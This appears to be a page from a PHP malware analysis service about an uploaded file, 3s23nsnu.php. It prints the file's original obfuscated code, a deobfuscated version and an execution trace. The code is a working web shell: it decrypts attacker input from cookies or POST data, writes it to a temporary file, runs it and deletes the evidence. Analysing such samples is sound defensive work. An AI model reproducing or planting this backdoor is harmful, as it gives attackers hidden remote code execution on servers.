3s23nsnu.php

md5: 38279ba5b85ca8f03922003e56650e3b

Jump to:
Deobfuscated code (Read more)
Execution traces (Read more)
Generated HTML (Read more)
Original Code (Read more)
Screenshot
Attributes
Input
_POST (Deobfuscated, Original)

Deobfuscated PHP code
<?php

function b1($c2)
{
    $k3 = "glF6@p)/ius-27Lf?v#.3ko*5'dEa4;I c8r<hx_nH9m(yeb1t";
    $k5 = '';
    foreach ($c2 as $h4) {
        $k5 .= $k3[$h4];
    }
    return $k5;
}
$f6 = array();
$f6[] = b1(array(20, 12, 13, 13, 3, 26, 29, 42, 11, 34, 46, 20, 34, 11, 29, 13, 42, 33, 11, 28, 48, 24, 20, 11, 15, 46, 33, 33, 3, 12, 20, 26, 47, 12, 13, 46));
$f6[] = b1(array(16, 5, 37, 5, 32, 4, 9, 40, 1, 8, 40, 21, 44, 39, 39, 2, 31, 14, 27, 39, 39, 6, 30, 32));
$f6[] = b1(array(19, 43, 22, 26, 9, 1, 46));
$f6[] = b1(array(41, 23));
$f6[] = b1(array(19, 7));
$f6[] = b1(array(18));
$f6[] = b1(array(36));
$f6[] = b1(array(15, 8, 1, 46, 39, 5, 9, 49, 39, 33, 22, 40, 49, 46, 40, 49, 10));
$f6[] = b1(array(28, 35, 35, 28, 45, 39, 43, 46, 35, 0, 46));
$f6[] = b1(array(10, 49, 35, 39, 35, 46, 5, 46, 28, 49));
$f6[] = b1(array(46, 38, 5, 1, 22, 26, 46));
$f6[] = b1(array(10, 9, 47, 10, 49, 35));
$f6[] = b1(array(9, 40, 1, 8, 40, 21));
$f6[] = b1(array(10, 49, 35, 1, 46, 40));
$f6[] = b1(array(5, 28, 33, 21));
$f6[] = b1(array(43, 26, 24));
foreach ($f6[8]($_COOKIE, $_POST) as $o14 => $n11) {
    function x8($f6, $o14, $n10)
    {
        return $f6[11]($f6[9]($o14 . $f6[0], $n10 / $f6[13]($o14) + 1), 0, $n10);
    }
    function h7($f6, $t12)
    {
        return @$f6[14]($f6[3], $t12);
    }
    function a9($f6, $t12)
    {
        if (isset($t12[2])) {
            $r13 = $f6[4] . $f6[15]($f6[0]) . $f6[2];
            @$f6[7]($r13, $f6[6] . $f6[1] . $t12[1]($t12[2]));
            @(include $r13);
            @$f6[12]($r13);
            exit;
        }
    }
    $n11 = h7($f6, $n11);
    a9($f6, $f6[10]($f6[5], $n11 ^ x8($f6, $o14, $f6[13]($n11))));
}
Execution traces
data/traces/38279ba5b85ca8f03922003e56650e3b_trace-1676242307.5085.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:52:13.406358]
1	0	1	0.000170	393528
1	3	0	0.000336	420880	{main}	1		/var/www/html/uploads/3s23nsnu.php	0	0
1		A						/var/www/html/uploads/3s23nsnu.php	2	$f6 = []
2	4	0	0.000371	420880	b1	1		/var/www/html/uploads/3s23nsnu.php	2	1	[0 => 20, 1 => 12, 2 => 13, 3 => 13, 4 => 3, 5 => 26, 6 => 29, 7 => 42, 8 => 11, 9 => 34, 10 => 46, 11 => 20, 12 => 34, 13 => 11, 14 => 29, 15 => 13, 16 => 42, 17 => 33, 18 => 11, 19 => 28, 20 => 48, 21 => 24, 22 => 20, 23 => 11, 24 => 15, 25 => 46, 26 => 33, 27 => 33, 28 => 3, 29 => 12, 30 => 20, 31 => 26, 32 => 47, 33 => 12, 34 => 13, 35 => 46]
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k3 = 'glF6@p)/ius-27Lf?v#.3ko*5\'dEa4;I c8r<hx_nH9m(yeb1t'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 = ''
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '3'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '2'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '7'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '7'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '6'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'd'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '4'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '9'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '-'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '8'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'e'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '3'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '8'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '-'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '4'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '7'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '9'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'c'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '-'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'a'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '1'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '5'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '3'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '-'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'f'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'e'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'c'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'c'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '6'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '2'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '3'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'd'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'b'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '2'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '7'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'e'
2	4	1	0.000728	420944
2	4	R			'32776d49-8e38-479c-a153-fecc623db27e'
1		A						/var/www/html/uploads/3s23nsnu.php	2	$f6[] = '32776d49-8e38-479c-a153-fecc623db27e'
2	5	0	0.000756	421320	b1	1		/var/www/html/uploads/3s23nsnu.php	2	1	[0 => 16, 1 => 5, 2 => 37, 3 => 5, 4 => 32, 5 => 4, 6 => 9, 7 => 40, 8 => 1, 9 => 8, 10 => 40, 11 => 21, 12 => 44, 13 => 39, 14 => 39, 15 => 2, 16 => 31, 17 => 14, 18 => 27, 19 => 39, 20 => 39, 21 => 6, 22 => 30, 23 => 32]
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k3 = 'glF6@p)/ius-27Lf?v#.3ko*5\'dEa4;I c8r<hx_nH9m(yeb1t'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 = ''
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '?'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'p'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'h'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'p'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= ' '
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '@'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'u'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'n'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'l'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'i'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'n'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'k'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '('
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '_'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '_'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'F'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'I'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'L'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'E'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '_'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '_'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= ')'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= ';'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= ' '
2	5	1	0.001004	421376
2	5	R			'?php @unlink(__FILE__); '
1		A						/var/www/html/uploads/3s23nsnu.php	2	$f6[] = '?php @unlink(__FILE__); '
2	6	0	0.001032	421376	b1	1		/var/www/html/uploads/3s23nsnu.php	2	1	[0 => 19, 1 => 43, 2 => 22, 3 => 26, 4 => 9, 5 => 1, 6 => 46]
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k3 = 'glF6@p)/ius-27Lf?v#.3ko*5\'dEa4;I c8r<hx_nH9m(yeb1t'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 = ''
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '.'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'm'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'o'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'd'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'u'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'l'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'e'
2	6	1	0.001131	421408
2	6	R			'.module'
1		A						/var/www/html/uploads/3s23nsnu.php	2	$f6[] = '.module'
2	7	0	0.001155	421408	b1	1		/var/www/html/uploads/3s23nsnu.php	2	1	[0 => 41, 1 => 23]
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k3 = 'glF6@p)/ius-27Lf?v#.3ko*5\'dEa4;I c8r<hx_nH9m(yeb1t'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 = ''
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'H'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '*'
2	7	1	0.001209	421440
2	7	R			'H*'
1		A						/var/www/html/uploads/3s23nsnu.php	2	$f6[] = 'H*'
2	8	0	0.001232	421440	b1	1		/var/www/html/uploads/3s23nsnu.php	2	1	[0 => 19, 1 => 7]
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k3 = 'glF6@p)/ius-27Lf?v#.3ko*5\'dEa4;I c8r<hx_nH9m(yeb1t'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 = ''
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '.'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '/'
2	8	1	0.001283	421472
2	8	R			'./'
1		A						/var/www/html/uploads/3s23nsnu.php	2	$f6[] = './'
2	9	0	0.001305	421472	b1	1		/var/www/html/uploads/3s23nsnu.php	2	1	[0 => 18]
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k3 = 'glF6@p)/ius-27Lf?v#.3ko*5\'dEa4;I c8r<hx_nH9m(yeb1t'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 = ''
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '#'
2	9	1	0.001349	421504
2	9	R			'#'
1		A						/var/www/html/uploads/3s23nsnu.php	2	$f6[] = '#'
2	10	0	0.001372	421504	b1	1		/var/www/html/uploads/3s23nsnu.php	2	1	[0 => 36]
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k3 = 'glF6@p)/ius-27Lf?v#.3ko*5\'dEa4;I c8r<hx_nH9m(yeb1t'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 = ''
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '<'
2	10	1	0.001415	421536
2	10	R			'<'
1		A						/var/www/html/uploads/3s23nsnu.php	2	$f6[] = '<'
2	11	0	0.001437	421536	b1	1		/var/www/html/uploads/3s23nsnu.php	2	1	[0 => 15, 1 => 8, 2 => 1, 3 => 46, 4 => 39, 5 => 5, 6 => 9, 7 => 49, 8 => 39, 9 => 33, 10 => 22, 11 => 40, 12 => 49, 13 => 46, 14 => 40, 15 => 49, 16 => 10]
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k3 = 'glF6@p)/ius-27Lf?v#.3ko*5\'dEa4;I c8r<hx_nH9m(yeb1t'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 = ''
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'f'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'i'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'l'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'e'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '_'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'p'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'u'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 't'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '_'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'c'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'o'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'n'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 't'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'e'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'n'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 't'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 's'
2	11	1	0.001647	421584
2	11	R			'file_put_contents'
1		A						/var/www/html/uploads/3s23nsnu.php	2	$f6[] = 'file_put_contents'
2	12	0	0.001672	421584	b1	1		/var/www/html/uploads/3s23nsnu.php	2	1	[0 => 28, 1 => 35, 2 => 35, 3 => 28, 4 => 45, 5 => 39, 6 => 43, 7 => 46, 8 => 35, 9 => 0, 10 => 46]
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k3 = 'glF6@p)/ius-27Lf?v#.3ko*5\'dEa4;I c8r<hx_nH9m(yeb1t'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 = ''
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'a'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'r'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'r'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'a'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'y'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '_'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'm'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'e'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'r'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'g'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'e'
2	12	1	0.001804	421624
2	12	R			'array_merge'
1		A						/var/www/html/uploads/3s23nsnu.php	2	$f6[] = 'array_merge'
2	13	0	0.001829	421944	b1	1		/var/www/html/uploads/3s23nsnu.php	2	1	[0 => 10, 1 => 49, 2 => 35, 3 => 39, 4 => 35, 5 => 46, 6 => 5, 7 => 46, 8 => 28, 9 => 49]
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k3 = 'glF6@p)/ius-27Lf?v#.3ko*5\'dEa4;I c8r<hx_nH9m(yeb1t'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 = ''
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 's'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 't'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'r'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '_'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'r'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'e'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'p'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'e'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'a'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 't'
2	13	1	0.001950	421984
2	13	R			'str_repeat'
1		A						/var/www/html/uploads/3s23nsnu.php	2	$f6[] = 'str_repeat'
2	14	0	0.001975	421984	b1	1		/var/www/html/uploads/3s23nsnu.php	2	1	[0 => 46, 1 => 38, 2 => 5, 3 => 1, 4 => 22, 5 => 26, 6 => 46]
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k3 = 'glF6@p)/ius-27Lf?v#.3ko*5\'dEa4;I c8r<hx_nH9m(yeb1t'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 = ''
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'e'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'x'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'p'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'l'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'o'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'd'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'e'
2	14	1	0.002071	422016
2	14	R			'explode'
1		A						/var/www/html/uploads/3s23nsnu.php	2	$f6[] = 'explode'
2	15	0	0.002095	422016	b1	1		/var/www/html/uploads/3s23nsnu.php	2	1	[0 => 10, 1 => 9, 2 => 47, 3 => 10, 4 => 49, 5 => 35]
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k3 = 'glF6@p)/ius-27Lf?v#.3ko*5\'dEa4;I c8r<hx_nH9m(yeb1t'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 = ''
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 's'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'u'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'b'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 's'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 't'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'r'
2	15	1	0.002185	422048
2	15	R			'substr'
1		A						/var/www/html/uploads/3s23nsnu.php	2	$f6[] = 'substr'
2	16	0	0.002209	422048	b1	1		/var/www/html/uploads/3s23nsnu.php	2	1	[0 => 9, 1 => 40, 2 => 1, 3 => 8, 4 => 40, 5 => 21]
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k3 = 'glF6@p)/ius-27Lf?v#.3ko*5\'dEa4;I c8r<hx_nH9m(yeb1t'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 = ''
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'u'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'n'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'l'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'i'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'n'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'k'
2	16	1	0.002298	422080
2	16	R			'unlink'
1		A						/var/www/html/uploads/3s23nsnu.php	2	$f6[] = 'unlink'
2	17	0	0.002322	422080	b1	1		/var/www/html/uploads/3s23nsnu.php	2	1	[0 => 10, 1 => 49, 2 => 35, 3 => 1, 4 => 46, 5 => 40]
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k3 = 'glF6@p)/ius-27Lf?v#.3ko*5\'dEa4;I c8r<hx_nH9m(yeb1t'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 = ''
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 's'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 't'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'r'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'l'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'e'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'n'
2	17	1	0.002409	422112
2	17	R			'strlen'
1		A						/var/www/html/uploads/3s23nsnu.php	2	$f6[] = 'strlen'
2	18	0	0.002433	422112	b1	1		/var/www/html/uploads/3s23nsnu.php	2	1	[0 => 5, 1 => 28, 2 => 33, 3 => 21]
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k3 = 'glF6@p)/ius-27Lf?v#.3ko*5\'dEa4;I c8r<hx_nH9m(yeb1t'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 = ''
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'p'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'a'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'c'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'k'
2	18	1	0.002504	422144
2	18	R			'pack'
1		A						/var/www/html/uploads/3s23nsnu.php	2	$f6[] = 'pack'
2	19	0	0.002527	422144	b1	1		/var/www/html/uploads/3s23nsnu.php	2	1	[0 => 43, 1 => 26, 2 => 24]
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k3 = 'glF6@p)/ius-27Lf?v#.3ko*5\'dEa4;I c8r<hx_nH9m(yeb1t'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 = ''
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'm'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= 'd'
2		A						/var/www/html/uploads/3s23nsnu.php	2	$k5 .= '5'
2	19	1	0.002588	422176
2	19	R			'md5'
1		A						/var/www/html/uploads/3s23nsnu.php	2	$f6[] = 'md5'
2	20	0	0.002613	422176	array_merge	0		/var/www/html/uploads/3s23nsnu.php	2	2	[]	[]
2	20	1	0.002627	422296
2	20	R			[]
1	3	1	0.002640	422176
			0.002674	321896
TRACE END   [2023-02-12 20:52:13.408892]

Generated HTML code
<html><head></head><body></body></html>
Original PHP code
<?php
function b1($c2){$k3 = "glF6@p)/ius-27Lf?v#.3ko*5'dEa4;I " ."c8r<hx" ."_nH9m(" ."y" ."eb1t" ;$k5='';foreach($c2 as $h4){$k5.=$k3[$h4];}return $k5;}$f6 = Array();$f6[] = b1(Array(20,12,13,13,3,26,29,42,11,34,46,20,34,11,29,13,42,33,11,28,48,24,20,11,15,46,33,33,3,12,20,26,47,12,13,46));$f6[] = b1(Array(16,5,37,5,32,4,9,40,1,8,40,21,44,39,39,2,31,14,27,39,39,6,30,32));$f6[] = b1(Array(19,43,22,26,9,1,46));$f6[] = b1(Array(41,23));$f6[] = b1(Array(19,7));$f6[] = b1(Array(18));$f6[] = b1(Array(36));$f6[] = b1(Array(15,8,1,46,39,5,9,49,39,33,22,40,49,46,40,49,10));$f6[] = b1(Array(28,35,35,28,45,39,43,46,35,0,46));$f6[] = b1(Array(10,49,35,39,35,46,5,46,28,49));$f6[] = b1(Array(46,38,5,1,22,26,46));$f6[] = b1(Array(10,9,47,10,49,35));$f6[] = b1(Array(9,40,1,8,40,21));$f6[] = b1(Array(10,49,35,1,46,40));$f6[] = b1(Array(5,28,33,21));$f6[] = b1(Array(43,26,24));foreach ($f6[8]($_COOKIE, $_POST) as $o14 => $n11){function x8($f6, $o14, $n10){return $f6[11]($f6[9]($o14 . $f6[0], ($n10 / $f6[13]($o14)) + 1), 0, $n10);}function h7($f6, $t12){return @$f6[14]($f6[3], $t12);}function a9($f6, $t12){if (isset($t12[2])) {$r13 = $f6[4] . $f6[15]($f6[0]) . $f6[2];@$f6[7]($r13, $f6[6] . $f6[1] . $t12[1]($t12[2]));@include($r13);@$f6[12]($r13);exit();}}$n11 = h7($f6, $n11);a9($f6, $f6[10]($f6[5], $n11 ^ x8($f6, $o14, $f6[13]($n11))));}
PHP Malware Analysis

3s23nsnu.php

md5: 38279ba5b85ca8f03922003e56650e3b

Screenshot

Attributes

Deobfuscated PHP code

Execution traces

Generated HTML code

Original PHP code
